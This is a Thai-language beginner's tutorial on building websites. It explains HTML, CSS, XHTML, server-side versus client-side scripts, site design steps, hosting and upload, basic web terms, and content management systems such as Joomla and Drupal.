ภาษาโปรแกรมสร้างเว็บไซต์

ภาษาโปรแกรมที่ใช้ในการพัฒนาเว็บไซต์ โดยพื้นฐาน ได้แก่

1. HTML (ย่อมาจาก Hyper Text Markup Language)
เป็นภาษาที่ใช้สำหรับสร้างเว็บเพจ มีโครงสร้างประกอบไปด้วย tag และ attribute ต่างๆ ที่ใช้ในการควบคุมการแสดงผลของข้อความ รูปภาพ หรือวัตถุอื่น ๆ     ภาษา HTML นั้นเป็นภาษาประเภท Markup ไม่จัดเป็นภาษาประเภท Programming  สามารถที่จะเรียนรู้ได้ง่าย

2. CSS (ย่อมาจาก Cascading Style Sheets)
เป็นภาษาที่มีรูปแบบการเขียน Syntax ที่เฉพาะ ถูกกำหนดขึ้นเพื่อใช้เสริมภาษา HTML ให้สามารถจัดรูปแบบการแสดงผลให้กับเอกสาร HTML ได้สมบูรณ์แบบมากขึ้น

3. XHTML (ย่อมาจาก Extensible HyperText Markup Language)
เป็นมาตรฐานใหม่ของ HTML คำสั่งต่างๆนั้นก็ยังเหมือนกับ HTML แต่จะมีความเข้มงวดในเรื่องโครงสร้างภาษามากกว่า และมีการตัด tag และ attribute ที่ล้าสมัยออกไป

ก่อนจะลงมือเขียนเว็บเพจ ขอให้มีความรู้ความเข้าใจในภาษาพื้นฐานเหล่านี้ก่อน โดยศึกษาได้จากบทเรียนออนไลน์ของ enjoyday.net
– เรียนรู้ HTML
– เรียนรู้ CSS
– เรียนรู้ XHTML

ถึงแม้ว่าเราจะใช้ Software เว็บไซต์สำเร็จรูป (Web CMS) ในการสร้างเว็บไซต์หรือบล็อก เช่น WordPress,  Joomla ก็ตาม    HTML และ CSS นี้จะเป็นพื้นฐานให้เราแก้ไข code และปรับแต่งหน้าตาเว็บไซต์ให้ถูกใจเราได้ค่ะ

นอกจากภาษาพื้นฐาน HTML/XHTML และ CSS  ในข้างต้นที่ไม่ใช่ภาษาสำหรับเขียนโปรแกรมแล้ว  เราอาจจะเคยได้ยินภาษา JavaScript, ASP, ASP.NET, PHP,JSP และอื่นๆ   ภาษาเหล่านี้เป็นภาษา Script ที่นิยมใช้ในการสร้างเว็บเพจค่ะ

ภาษา Script ที่ใช้ในการสร้างเว็บเพจ แบ่งได้เป็น

1) Server-Side Script เช่น PHP, ASP, JSP, CGI    เป็นภาษา script ที่ประมวลผลที่ฝั่ง Server แล้วส่งผลลัพธ์ไปแสดงผลที่ฝั่ง Client ผ่านโปรแกรมเว็บบราวเซอร์ เช่น IE, Firefox

2) Client-Side Script เช่น JavaScript, VBScript, JScript   เป็นภาษา script ที่ประมวลผลบนเครื่องคอมพิวเตอร์ของผู้เยี่ยมชมเว็บไซต์ โดยใช้โปรแกรมเว็บเบราเซอร์  ซึ่งจะช่วยแบ่งเบาการทำงานให้กับเครื่อง Web Server ได้

ในกรณีที่ต้องการให้แอพพลิเคชันทำงานร่วมกันกับแอพพลิเคชันอื่น เช่น ฐานข้อมูล  เราจะต้องใช้ Server-Side Script  เขียนคำสั่งติดต่อกับฐานข้อมูล  โดยผู้ชมเว็บจะไม่สามารถดูคำสั่ง ( Source Code) ของ Server-Side Script เหล่านั้นได้

ต่างจากการเขียนคำสั่งแบบ Client-Side Script  ที่ผู้ชมเว็บสามารถดูคำสั่งที่เขียนด้วย Client-Side Script รวมถึง HTML, CSS  ของหน้าเว็บเพจนั้นได้  ด้วยการคลิกเมาส์ขวาบนหน้าเว็บเพจนั้นๆ และเลือกคำสั่ง View Source หรือ View Page Source ในโปรแกรมเว็บเบราเซอร์

ลักษณะเว็บไซต์

รูปแบบของเว็บไซต์

1. Static Website

หมายถึง เว็บไซต์ที่สร้างด้วยภาษา HTML ธรรมดา และบันทึกเป็นไฟล์นามสกุล .html .เนื้อหาข้อความ รูปภาพในหน้าเว็บเพจนั้นจะเป็นไปตามที่เราเขียนกำหนดไว้

Static Website เหมาะกับเว็บไซต์ที่มีขนาดไม่ใหญ่ จำนวนหน้าเว็บเพจไม่มาก .ไม่มีการเปลี่ยนแปลงข้อมูลบ่อยๆ และไม่มีการติดต่อฐานข้อมูล..

2. Dynamic Website

หมายถึง เว็บไซต์ที่หน้าเว็บเพจสามารถเปลี่ยนแปลงข้อมูลเองได้ โดยไม่ต้องเขียนแต่ละหน้าเว็บเพจเอง เช่น กระดานข่าว (WebBoard), ระบบสืบค้นข้อมูล

เว็บไซต์รูปแบบนี้จะถูกสร้างด้วยภาษา Script แบบ Server Side Script .เช่น PHP, ASP, ASP.Net, JSP และอื่นๆ ไฟล์เอกสารที่ได้จะมีนามสกุล .php, .asp เป็นต้น และมักจะมีการติดต่อกับฐานข้อมูลเพื่อบันทึกข้อมูลลงในฐานข้อมูล หรือนำข้อมูลจากฐานข้อมูลขึ้นมาแสดงผลเป็นหน้าเว็บเพจ

ส่วนประกอบของหน้าเว็บเพจ

เราสามารถจำแนกส่วนประกอบของหน้าเว็บเพจ เป็น 3 ส่วน ดังนี้

1. ส่วนหัว (Page Header) จะอยู่บริเวณบนสุดของหน้าเว็บเพจ เป็นส่วนที่แสดงชื่อ เว็บไซต์ โลโก้ แบนเนอร์ โฆษณาลิงก์สำหรับข้ามไปยังหน้าเว็บอื่น

2. ส่วนเนื้อหา (Page Body) อยู่บริเวณตอนกลางของหน้าเว็บเพจ ซึ่งเป็นส่วนที่แสดงเนื้อหาภายในหน้าเว็บเพจนั้น โดยประกอบด้วยข้อความ ข้อมูล ภาพเคลื่อนไหว เป็นต้น

3. ส่วนท้าย (Page Footer) อยู่บริเวณด้านล่างสุดของหน้าเว็บเพจ ส่วนมากใช้สำหรับลิงก์ข้อความสั้นๆ เข้าใจง่าย หรือจะมีชื่อเจ้าของเว็บไซต์ อีเมลแอดเดรสของผู้ดูแลเว็บไซต์สำหรับติดต่อกับทางเว็บไซต์

 

สรุปส่วนประกอบของหน้าเว็บเพจ

การออกแบบเว็บไซต์แนวคิดในการออกแบบ

– ดูจากเว็บไซต์อื่นเพื่อเป็นตัวอย่าง การดูจากเว็บไซต์อื่นบนอินเตอร์เน็ตเพื่อศึกษาเป็นตัวอย่างนั้น นับเป็นวิธีการที่ง่ายที่สุด แต่ก็ควรนำไปประยุกต์ใช้ให้เหมาะสมกับเนื้อหาและกลุ่มเป้าหมายของเราด้วย

– ศึกษาจากสื่อสิ่งพิมพ์ในรูปแบบต่างๆ สื่อสิ่งพิมพ์ในที่นี้ ได้แก่ แมกกาซีน โปสเตอร์โฆษณา โบรชัวร์ หรือหนังสือบางเล่มที่มีรูปแบบและจุดดึงดูดความสนใจ สามารถนำมาประยุกต์ใช้ในเว็บไซต์ของเราได้เช่นกัน

การกำหนดขนาดของเว็บเพจ

ขนาดของเว็บไซต์ที่นิยมในปัจจุบันมี 2 ขนาด คือ

1. ขนาดเว็บไซต์แบบ 800 X 600 pixels เป็นขนาดที่สามารถใช้ได้กับหน้าจอทุกขนาดในปัจจุบันเป็นขนาดของการออกแบบเว็บไซต์ที่ใช้ในอดีต เนื่องจากอดีตขนาดของจอคอมพิวเตอร์มีขนาดเล็ก

2. ขนาดเว็บไซต์แบบ 1024 X 768 pixels เป็นขนาดที่นิยมในปัจจุบัน เนื่องจากผู้ใช้นิยมใช้จอคอมพิวเตอร์ขนาดใหญ่ขึ้นเนื่องมาจากราคาจอคอมพิวเตอร์ที่ถูกลง

 

รูปแบบการออกแบบเว็บไซต์

เว็บไซต์ในปัจจุบันจะมีการออกแบบที่แตกต่างกันไม่มากนัก ซึ่งการออกแบบหน้าตาเว็บไซต์ส่วนใหญ่จะมองดูองค์ประกอบขององค์กร หน่วยงาน หรือเนื้อหาเรื่องที่นำเสนอเป็นหลัก ซึ่งการออกแบบหน้าตของเว็บไซต์มีอยู่ 3 แบบ คือ

1. การออกแบบเว็บไซต์ที่เน้นการนำเสนอเนื้อหา เป็นการออกแบบเว็บไซต์ที่เน้นการนำเสนอเนื้อหามากกว่ารูปภาพ โดยโครงสร้างใช้รูปแบบตารางเป็นหลัก มีการออกแบบหน้าตารูปแบบง่าย เช่น มีเมนูสารบัญ และเนื้อหา

2. การออกแบบเว็บไซต์ที่เน้นภาพกราฟิก เป็นการออกแบบเว็บไซต์ที่เน้นภาพกราฟิกที่สวยงาม ซึ่งอาจจะใช้โปรแกรม Photoshop สำหรับการตกแต่งภาพ ข้อดี สวยงาม น่าสนใจ ข้อเสีย อาจจะใช้เวลาในการโหลดเว็บนาน

3.การออกแบบเว็บไซต์ที่มีทั้งภาพและเนื้อหา เป็นการออกแบบเว็บที่นิยมในปัจจุบันซึ่งประกอบด้วยข้อความ รูปภาพ โดยมีการจัดองค์ประกอบต่าง ๆ เพื่อให้เว็บน่าสนใจ

 

ขั้นตอนการสร้างเว็บไซต์ 

ขั้นตอนที่ 1 การวางแผนการจัดทำเว็บไซต์

            เป็นขั้นตอนแรกของการออกแบบเว็บ เนื่องจากเราต้องกำหนดชื่อเรื่อง เนื้อหา และรายละเอียดของเว็บที่เราจะจัดทำเพื่อให้เห็นมุมมองคร่าว ๆ ก่อนจะลงมือสร้างเว็บไซต์ นอกจากนี้เรายังต้องทำการแบ่งเนื้อหาเป็นหมวดหมู่ต่าง ๆ ตามลำดับก่อน-หลัง เพื่อให้ง่ายต่อการจัดทำโครงร่างของเว็บ

ขั้นตอนที่ 2 การกำหนดโครงสร้างของเว็บ

          เป็นขั้นตอนในการกำหนดผังของเว็บ เพื่อให้ทราบองค์ประกอบทั้งหมดของเว็บ ตัวอย่างดังรูป

 

ข้อสังเกต

            1. หน้าแรกของเว็บ หรือโฮมเพจ จะต้องชื่อ index ส่วนนามสกุลให้ใส่ตามลักษณะของภาษาที่ใช้ในการสร้างเว็บ

            2. การตั้งชื่อเว็บเพจแต่ละหน้าเวลาให้กำหนดชื่อเป็นภาษาอังกฤษตามด้วยนามสกุลของภาษาที่เราสร้างเว็บ เช่น index.html, gallery.html, contact.html เป็นต้น

 

ขั้นตอนที่ 3 การกำหนดการเชื่อมโยงเว็บเพจ

            การกำหนดการเชื่อมเว็บเพจ เป็นการกำหนดความสัมพันธ์ของการเชื่อมโยงในแต่ละหน้าเว็บเพื่อให้สามารถกลับไปกลับมาระหว่างหน้าต่าง ๆ ได้ โดยแต่ละไฟล์จะมีความสัมพันธ์กัน ตัวอย่างดังรูป

 

ขั้นตอนที่ 4 การตั้งชื่อไฟล์และโฟลเดอร์

            1. การสร้างโฟลเดอร์

            การสร้างโฟลเดอร์ให้สร้างเป็นชื่อหน่วยงาน / เรื่องนั้นๆ ควรใช้ตัวอักษร ภาษาอังกฤษตัวพิมพ์เล็ก หรือผสมกับตัวเลข 0-9

            2. การตั้งชื่อไฟล์

            การตั้งชื่อไฟล์ให้ตั้งชื่อและนามสกุลไฟล์เป็นตัวอักษร ภาษาอังกฤษตัวพิมพ์เล็ก หรือผสมกับตัวเลข 0-9 หรือเครื่องมือขีดลบ/ขีดล่าง และตั้งชื่อไฟล์ให้ตรงกับเรื่องนั้น ๆ เช่น gallery.html คือ ภาพบรรยากาศ, contact.html คือ ติดต่อเรา เป็นต้น

ขั้นตอนที่ 5 การออกแบบเว็บเพจแต่ละหน้าในเว็บไซต์

 

ส่วนประกอบของเว็บไซต์ที่ดี

            โครงสร้างของเว็บไซต์โดยจะมีส่วนหลักๆอยู่ด้วยกันทั้งหมด 3 ส่วนหลัก ๆ ดังนี้

1. ส่วนหัวของหน้า (Page Header)

            เป็นส่วนที่อยู่ตอนบนสุดของหน้า และเป็นส่วนที่สำคัญที่สุดของหน้า เพราะเป็นส่วนที่ดึงดูดผู้ชมให้ติดตามเนื้อหาภายในเว็บไซต์  มักใส่ภาพกราฟิกเพื่อสร้างความประทับใจ  ส่วนใหญ่ประกอบด้วย

            – โลโก้ (Logo) เป็นสิ่งที่เว็บไซต์ควรมี เป็นตัวแทนของเว็บไซต์ได้เป็นอย่างดี และยังทำให้เว็บน่าเชื่อถือ

            – ชื่อเว็บไซต์ (Name)

            – เมนูหลักหรือลิงค์ (Navigation Bar) เป็นจุดเชื่อมโยงไปสู่เนื้อหาของเว็บไซต์

2. ส่วนของเนื้อหา (Page Body)

            เป็นส่วนที่อยู่ตอนกลางของหน้า ใช้แสดงข้อมูลเนื้อหาของเว็บไซต์  ซึ่งประกอบด้วยข้อความ, ตารางข้อมูล ภาพกราฟิก วีดีโอ และอื่นๆ และอาจมีเมนูหลัก หรือเมนูเฉพาะกลุ่มวางอยู่ในส่วนนี้ด้วย

    สำหรับส่วนเนื้อหาควรแสดงใจความสำคัญที่เป็นหัวเรื่องไว้บนสุด ข้อมูลมีความกระชับ ใช้รูปแบบตัวอักษรที่อ่านง่าย และจัด Layout ให้เหมาะสมและเป็นระเบียบ

3. ส่วนท้ายของหน้า (Page Footer)

            เป็นส่วนที่อยู่ด้านล่างสุดของหน้า มักวางระบบนำทางที่เป็นลิงค์ข้อความง่าย ๆ และอาจแสดงข้อมูลเพิ่มเติมเกี่ยวกับเนื้อหาภายในเว็บไซต์ เช่น เจ้าของเว็บไซต์, ข้อความแสดงลิขสิทธิ์, วิธีการติดต่อกับผู้ดูแลเว็บไซต์, คำแนะนำการใช้เว็บไซต์ เป็นต้น โดยปกติส่วนหัวและส่วนท้ายมักแสดงเหมือนกันในทุกหน้าของเว็บเพจ

 

ขั้นตอนที่ 6 การสร้างเว็บเพจ

            เมื่อจัดวางองค์ประกอบของเว็บแต่ละหน้าแล้ว ต่อไปคือขั้นตอนการเขียนเว็บด้วยโปรแกรมภาษา HTML เพื่อกำหนดให้แต่ละหน้าเว็บเพจนำเสนอข้อความ รูปภาพ วีดีโอ และเสียง ให้อยู่ในรูปแบบการที่ต้องการ

ขั้นตอนที่ 7 การลงทะเบียนขอพื้นที่เว็บไซต์

            เมื่อทำการออกแบบและสร้างเว็บไซต์เสร็จแล้ว ขั้นตอนต่อไป คือ การเผยแพร่เว็บไซต์สู่โลกของอินเทอร์เน็ตให้คนอื่นเข้ามาเยี่ยมชม วิธีการ คือ การนำเว็บไซต์ไปฝากกับผู้ให้บริการพื้นที่เว็บไซต์ทั้งแบบเสียค่าใช้จ่ายหรือบริการ และแบบพื้นที่เว็บไซต์ฟรี 

ขั้นตอนที่ 8 การอัพโหลดเว็บไซต์

            เมื่อเราทำการสมัครบริการพื้นที่ฝากเว็บแล้ว ขั้นตอนต่อไป คือการอัพโหลดไฟล์เว็บไซต์ของเราไปยังเว็บไซต์ที่ให้บริการพื้นที่ฝากเว็บซึ่งอาจจะทำการอัพโหลดผ่านเว็บบราวเซอร์เว็บที่ให้บริการ หรือการอัพโหลดด้วยโปรแกรม เช่น CuteFTP, Filezilla, WS_FTP เป็นต้น เพื่อให้ผู้คนได้เข้าเยี่ยมชมโดยสามารถดูในเว็บไซต์ของเราผ่านเครือข่ายอินเทอร์เน็ต

ขั้นตอนที่ 9 การเรียกดูเว็บไซต์

            เมื่อเราทำการอัพโหลดไฟล์เว็บไซต์ของเราขึ้นบนเว็บไซต์ที่ให้บริการพื้นที่ฝากเว็บแล้ว เราสามารถเปิดดูเว็บไซต์ของเราผ่านโปรแกรมเว็บบราวเซอร์ เช่น Internet Explorer, Mozilla Firefox, Google Chrome เป็นต้น โดยการพิมพ์ที่อยู่เว็บไซต์ตรง Address Bar

การสร้างเว็บไซต์

ศัพท์เบื้องต้นเกี่ยวกับเว็บไซต์

            

            อินเตอร์เน็ต (Internet)  เป็นเครือข่ายคอมพิวเตอร์ที่ใหญ่ที่สุดในโลกซึ่งรวมเอาเครือข่ายย่อยเป็นจำนวนมากต่อเชื่อมภายใต้มาตรฐานเดียวกันจนเป็น เครือข่ายคอมพิวเตอร์ขนาดใหญ่ ทำให้ทั่วโลกเชื่อมโยงกันเป็นเครือข่ายเดียวกันได้ในแพลตฟอร์มของ เวิลด์ ไวด์ เว็บ (World Wide Web)

            เวิล์ด ไวด์ เว็บ (World Wide Web – www)  หรือเรียกย่อ ๆ ว่า เว็บ(web)  เป็นอินเตอร์เน็ตชนิดหนึ่ง ที่อยู่ในรูปแบบของกราฟิกและมัลติมีเดีย ซึ่งประกอบด้วยข้อความ(Text  ภาพ (Graphic)  เสีย (Sound) และภาพเคลื่อนไหว (Movie) เป็นต้น ผู้ใช้ทั่วไปสามารถเข้าไปในเว็บได้ง่าย และจะได้รับข้อมูลครบถ้วนปัจจุบัน ถ้าพูดถึงอินเตอร์เน็ต คนทั่วไปจะเข้าใจว่าหมายถึงเว็บ ทั้งที่จริงแล้วเว็บเป็นส่วนหนึ่งของอินเตอร์เน็ตเท่านั้น

            http (HyperText Transfer Protocol: HTTP)  เป็นโปรโตคอลสำหรับเปิดดูข้อมูลจาก www เรียกใช้งานได้โดยระบุ http:// และตามด้วย URL ในช่องกรอก  Address ด้านบนของโปรแกรมเว็บบราวเซอร์

            URL (Uniform Resource Locator) คือ ข้อความที่บอกตำแหน่งของข้อมูลใน Internet ไม่ว่าจะเป็น Web page, File ประเภทต่างๆ เช่น รูปภาพ เสียง

            URL ประกอบด้วย โปรโตคอล + domain name + (directory ที่เก็บไฟล์) 

             ชื่อไฟล์ เช่น http://www.enjoyday.net/webtutorial/css/index.html 

                                http://www.enjoyday.net/images/logo.jpg

            โดเมนเนม (Domain Name) หรือที่เข้าใจกันทั่วไป  คือ  ชื่อเรียกเว็บไซต์นั่นเอง  การจดทะเบียนโดเมนเนมจึงเป็นการลงทะเบียนชื่อให้กับเว็บไซต์ของเราในโลกอินเตอร์เน็ต  โดเมนเนมที่ขอจดทะเบียนจะต้องไม่ซ้ำกับคนอื่น  และควรตั้งให้เกี่ยวข้องกับเนื้อหาภายในเว็บไซต์  หรือเกี่ยวข้องกับสินค้าและ บริการ ตลอดจนใช้คำง่าย ๆ  ให้จำได้  เช่น  sanook.com  และ yahoo.com เป็นต้น

ความหมายของซับโดเมน

           เว็บไซต์ (Website)  และเว็บเพจ (Webpage) 

            เอกสารหรือส่วนที่ติดต่อกับผู้ใช้ในเว็บ เรียกว่า เว็บเพจ (Webpage) หมายถึง เอกสารหนึ่งหน้า การใช้เว็บก็คือการเปิดอ่านหรือเปิดใช้เว็บแต่ละหน้านั่นเอง  เว็บเพจอาจสร้างขึ้นด้วยภาษาคอมพิวเตอร์  เช่น HTML, ASP, PHP, JAVA ฯลฯ   

            เมื่อนำเว็บเพจหลาย ๆ หน้ามารวมกัน และระบุอยู่ในอินเตอร์เน็ต หรือยูอาร์แอล (Uniform Resource Locator – URL) ให้กับเว็บเพจกลุ่มนั้นจะเรียกว่า  เว็บไซต์ (Web Site)

            เมื่อเปิดเว็บไซต์ขึ้นมาจะพบกับหน้าแรกของเว็บไซต์   ซึ่งเรียกว่าโฮมเพจ (Homepage)   ซึ่งเป็นหน้าที่สำคัญที่สุดและเป็นหน้าที่จะเชื่อมโยงไปยังเว็บเพจและเว็บไซต์อื่น ๆ

สรุปเว็บเพจ เว็บไซต์ และโฮมเพจ

 
 

            เว็บเบราเซอร์ (Web Browser) คือโปรแกรมที่ใช้สำหรับเปิดเว็บเพจหรือ รับส่งข้อมูลตามที่เครื่องลูกข่ายร้องขอเมื่อเราเปิดเข้าสู่อินเตอร์เน็ต  เว็บเบราเซอร์ที่ได้รับความนิยมปัจจุบันมีหลายโปรแกรม เช่น Microsoft Internet Explorer (IE), Mozilla Firefox, Opera, และ Google Chrome

            เว็บเซิฟเวอร์ (Web server) คือ เครื่องคอมพิวเตอร์ที่ทำหน้าที่ให้บริการข้อมูลใน www ซึ่งเก็บ Web page และโปรแกรมจัดการบริการ เมื่อผู้ใช้ต้องการดู Web page ที่อยู่ในเครื่อง Server ก็จะใช้ Web browser เรียกขอข้อมูลโดยระบุที่อยู่ของข้อมูลในลักษณะที่เรียกว่า URL
 
            อัพโหลด (Upload) คือ การส่งข้อมูลจากเครื่องของเราไปยัง Web Server เมื่อเราสร้าง Web page แต่ละหน้าแล้ว ต้องส่งข้อมูลไปเก็บไว้ที่ Web Server ที่เป็นเครื่องคอมพิวเตอร์ที่ให้บริการข้อมูล www โดยอาศัยโปรแกรม FTP.
            Search engine เป็นเครื่องมือหรือโปรแกรมในการค้นหาเว็บต่างๆ โดยมีการเก็บ รายชื่อเว็บไซต์ และข้อมูลที่เกี่ยวข้องต่างๆ ของเว็บไซต์ และนำมาจัดเก็บไว้ใน server เพื่อให้สามารถค้นหาและแสดงผลได้สะดวกรวดเร็ว เช่น google.com, yahoo.com, bing.com, altavista.com, sanook.com เป็นต้น
 
 
ภาษามาตรฐานที่ใช้ในการสร้างเว็บเพจ

ภาษา  HTML 

            ภาษา  HTML  ย่อมาจากคำว่า  Hypertext Markup Language  เป็นภาษาที่ใช้สำหรับสร้างเว็บเพจ โดยจะได้รับการแปลหรือการแสดงผลโดยเว็บ เบราเซอร์ซึ่งสามารถแสดงได้ทั้งข้อความ  ภาพ  และเสียง

        โครงสร้างหลักของภาษา  HTML 

ในไฟล์เอกสาร  HTML ประกอบด้วย สองส่วนใหญ่ๆ คือ ส่วนหัว HEAD และ ส่วนตัว BODY 

            1) Tag <HTML> และ </HTML> จะอยู่บรรทัดแรก และ บรรทัดสุดท้าย ในไฟล์  HTML เสมอ เป็น Tag ที่บอกให้รู้ว่า ข้อความ หรือ Tag ที่อยู่ระหว่าง 2 Tag นี้ เป็นแบบ HTML

            2) Tag <HEAD> และ </HEAD> ส่วนนี้จะไว้ใส่ รายละเอียดต่าง ๆ เช่น  Tag<TITLE>TodayLoad.com</TITLE> ไว้ใส่ข้อความที่ต้องการให้ปรากฎอยู่บน ไตเติ้ลบาร์ เป็นต้น 

            3) <BODY ……. > ข้อความที่ปรากฎอยู่ตรงช่วงจุดไข่ปลา  

            4) Tag <BODY> และ </BODY> ข้อความ หรือ Tag ที่อยู่ระหว่าง 2 Tag นี้ เป็นส่วนของเนื้อหา

หลักการออกแบบเว็บไซต์ 

            

            หลักการออกแบบเว็บไซต์สามารถแบ่งออกเป็นขั้นตอนต่าง ๆ เพื่อให้เหมาะสมกับผู้เริ่มต้นใช้เป็นแนวทาง ในการสร้างและพัฒนาเว็บไซต์

            – การวางแผน 

การวางแผนนับว่ามีความสำคัญมากในการสร้างเว็บไซต์ เพื่อให้การทำงานในขั้นตอนต่าง ๆ มีแนวทางที่ชัดเจนและสามารถปฏิบัติได้ตามที่ตั้งเป้าไว้ ซึ่งประกอบด้วย

            – การกำหนดเนื้อหาและจุดประสงค์ของเว็บไซต์ 

การกำหนดเนื้อหาและจุดประสงค์ของเว็บไซต์ที่จะสร้าง นับเป็นสิ่งสำคัญอย่างมากในการเริ่มต้นสร้างเว็บไซต์เลยทีเดียว เพื่อให้เห็นภาพว่าเราต้องการน าเสนอข้อมูลแบบใด เช่น เว็บไซต์เพื่อให้ข้อมูลข่าวสาร การบริการด้านต่าง ๆ หรือขายสินค้า เป็นต้น เมื่อสามารถกำหนดจุดประสงค์ของเว็บไซต์ได้แล้ว เงื่อนไขเหล่านี้จะเป็นตัวกำหนดโครง สร้างรูปแบบรวมถึงหน้าตา และสีเว็บไซต์ของเราด้วย

            – การกำหนดกลุ่มเป้าหมาย 

เพื่อให้การสร้างและออกแบบเว็บไวต์ได้รับความนิยม การกำหนดกลุ่มเป้าหมายในการเข้าชมเว็บไซต์ก็นับว่ามีส่วนสำคัญไม่น้อย เช่น เว็บไซต์สำหรับเยาวชน นักเรียน นักศึกษาในการค้นหาข้อมูล หรือเว็บไซต์สำหรับบุคคลทั่วไปที่เข้าไปใช้บริการต่าง ๆ เป็นต้น

            – การเตรียมข้อมูล 

เนื้อหาหรือข้อมูลจัดว่าเป็นสิ่งที่เชิญชวนให้ผู้อื่นเข้ามาเยี่ยมชมเว็บไซต์ และต้องทราบว่าข้อมูลข่าวสารต่าง ๆ สามารถนำมาจากแหล่งใดบ้าง เช่น การคิดนำเสนอข้อมูลด้วยตัวเอง หรือนำข้อมูลที่น่าสนใจมาจากสื่ออื่น เช่น หนังสือพิมพ์ แมกกาซีน เว็บไซต์ และที่สำคัญ ขออนุญาตเจ้าของบทความก่อนเพื่อป้องกันเรื่องลิขสิทธิ์ด้วย

            – การเตรียมสิ่งต่าง ๆ ที่จำเป็น 

ในการออกแบบเว็บไซต์ต้องอาศัยความสามารถต่าง ๆ เช่น โปรแกรมสำหรับสร้าง เว็บไซต์ ภาพเคลื่อนไหว มัลติมีเดีย การจดโดเมนเนม การหาผู้ให้บริการรับฝากเว็บไซต์ (Web Hosting) เป็นต้น 

          – การจัดโครงสร้างข้อมูล 

เมื่อได้ข้อมูลต่าง ๆ เช่น กำหนดเนื้อหาและจุดประสงค์ของเว็บไซต์ การกำหนดกลุ่มเป้าหมาย การเตรียมข้อมูล การเตรียมสิ่งต่าง ๆ ที่จำเป็นจากขั้นแรกเรียบร้อยแล้ว ในขั้นตอนนี้ เราจะจัดระบบเพื่อใช้เป็นกรอบสำหรับการออกแบบและดำเนินการในขั้นตอนต่อไป ซึ่งมีรายละเอียด ดังนี้

                • โครงสร้างและสารบัญของเว็บไซต์ 

                • การใช้ระบบนำผู้เข้าชมไปยังส่วนต่าง ๆ ภายในเว็บไซต์หรือที่เราเรียกว่าระบบนำทาง (Navigation)

                • องค์ประกอบที่ต้องนำมาใช้ เช่น สื่อมัลติมีเดีย ภาพกราฟิก แบบฟอร์มต่าง ๆ 

                • การกำหนดรูปแบบและลักษณะของเว็บเพจ 

                • การกำหนดฐานข้อมูล ภาษาสคริปต์หรือแอปพลิเคชันที่นำมาใช้ในเว็บไซต์ 

                • การบริการเสริมต่าง ๆ 

                • การออกแบบเว็บไซต์ 

            นับเป็นขั้นตอนในการออกแบบรูปร่าง  โครงสร้างและลักษณะทางด้านกราฟิกของหน้าเว็บเพจโดย โปรแกรมที่เหมาะสมในการออกแบบคือ  Photoshop หรือ Fireworks ซึ่งจะช่วยในการสร้างเค้าโครงของหน้าเว็บและองค์ประกอบต่าง ๆ เช่น ชื่อเว็บไซต์ โลโก้ รูปไอคอน ปุ่มไอคอน ภาพเคลื่อนไหว  แบนเนอร์โฆษณา เป็นต้น

            ในการออกแบบเว็บไซต์นั้นยังต้องคำนึงถึงสีสันและรูปแบบของส่วนประกอบต่าง ๆ ที่ไม่ใช่ภาพกราฟิก เช่น ขนาดของตัวอักษร สีของข้อความ สีพื้น ลวดลายของเส้นกรอบเพื่อความสวยงามและดึงดูด ผู้เยี่ยมชมด้วย

เรียนรู้กับ CMS

CMS ระบบการจัดการเนื้อหาเว็บไซต์

ระบบจัดการเนื้อหาและส่งเสริมการทำงานในหมู่คณะ ให้สามารถสร้างเอกสาร หรือเนื้อหาสาระอื่นๆ โดยมากแล้ว

 

ระบบจัดการเนื้อห มักจะเป็นเว็บแอปพลิเคชัน ซึ่งใช้จัดการเว็บไซต์และเนื้อหาบนเว็บ และมีไม่น้อยที่ระบบจัดการเนื้อหาต้องใช้ซอฟแวร์พิเศษบนเครื่องไคลเอนต์เพื่อใช้แก้ไขและสร้างบทความต่างๆ ระบบจัดการเนื้อหา ในตลาดซอฟแวร์คอมพิวเตอร์มีทั้งแบบที่ทำเพื่อการค้าและแบบ โอเพนซอร์สเนื้อหาที่อยู่บนระบบอาจจะเป็นเนื้อหาที่เป็น ข้อความตัวอักษร ไฟล์รูปภาพ ไฟล์เสียง ไฟล์ภาพเคลื่อนไหว ไฟล์วิดีโอ หรือไฟล์เอกสารอื่นๆ

 

ระบบจัดการเนื้อหา (Content management system, CMS) คือระบบซอฟต์แวร์คอมพิวเตอ ร์
ที่ใช้เพื่อจัดระเบียบ

bitnami-open-source

ตัวอย่าง cms ได้แก่

Overall Open Source CMS Award
– DotNetNuke
– Drupal
– Joomla!
– Plone
– TYPOlight

Most Promising Open Source CMS
– CMS Made Simple
– ImpressCMS
– MiaCMS
– MemHT
– SilverStripe

Best PHP Open Source CMS
– CMS Made Simple
– Drupal
– eZ Publish
– Joomla!
– XOOPS

content_management_system

CMS ย่อมาจาก Content Management System เป็นระบบที่นำมาช่วยในการสร้างและบริหารเว็บไซต์แบบสำเร็จรูป โดยในการใช้งาน CMS นั้นผู้ใช้งานแทบไม่ต้องมีความรู้ในด้านการเขียนโปรแกรม ก็สามารถสร้างเว็บไซต์ได้ โดยที่ตัว CMS เองมีโปรแกรมประยุกต์ แบบพร้อมใช้งานอยู่ภายในมากมายอาทิ ระบบจัดการบทความและข่าวสาร(News and Story) ระบบจัดการบทวิจารณ์ (Review), ระบบจัดการสมาชิก(Mamber) ระบบสืบค้นข้อมูล(Search) ระบบจัดการไฟล์ดาวน์โหลด(Download), ระบบจัดการป้ายโฆษณา(Banner), ระบบการวิเคราะห์และตรวจสอบสถิติความนิยมในเว็บไซต์ (Analysis, Tracking and Statistics) เป็นต้น

ปัจจุบันซอฟต์แวร์ที่ใช้สร้าง CMS มีหลายตัวด้วยกันอาทิเช่น PostNuke, PHP-Nuke, MyPHPNuke, Mambo, eNvolution, MD-Pro, XOOPs, OpenCMS, Plone, JBoss, Drupal เป็นต้น

การประยุกต์ใช้ CMS ในวงการต่างๆ
ระบบ CMS สามารถนำมาประยุกต์ในงานต่างๆ หลากหลาย ตัวอย่างการนำซอฟต์แวร์ CMS มาประยุกต์ใช้งาน อาทิเช่น
• การนำ CMS มาใช้ในการสร้างเว็บไซต์สถาบันการศึกษา ธุรกิจบันเทิง หนังสือพิมพ์ การเงิน การธนาคาร หุ้นและการลงทุน อสังหาริมทรัพย์ งานบุคคล งานประมูล สถานที่ท่องเที่ยว งานให้บริการลูกค้า
• การนำ CMS มาใช้ในหน่วยงานของรัฐ อาทิเช่น งานข่าว งานประชาสัมพันธ์ การนำเสนองานต่างๆ ขององค์กร
